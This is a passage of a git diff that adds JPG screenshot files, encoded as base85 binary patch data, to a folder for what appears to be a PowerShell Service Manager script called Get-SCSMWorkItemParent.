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 tQm%+`fCBteiCn<s_oX`{{Xz3n{EIA literal 0 HcmV?d00001 diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg new file mode 100644 index 0000000000000000000000000000000000000000..35e4dc4022716cc9af19ae7ba1797e8e66310f19 GIT binary patch literal 101953 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%0AHu_JjBQ?=etrqv)du%SHbL&(?!cE1e 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 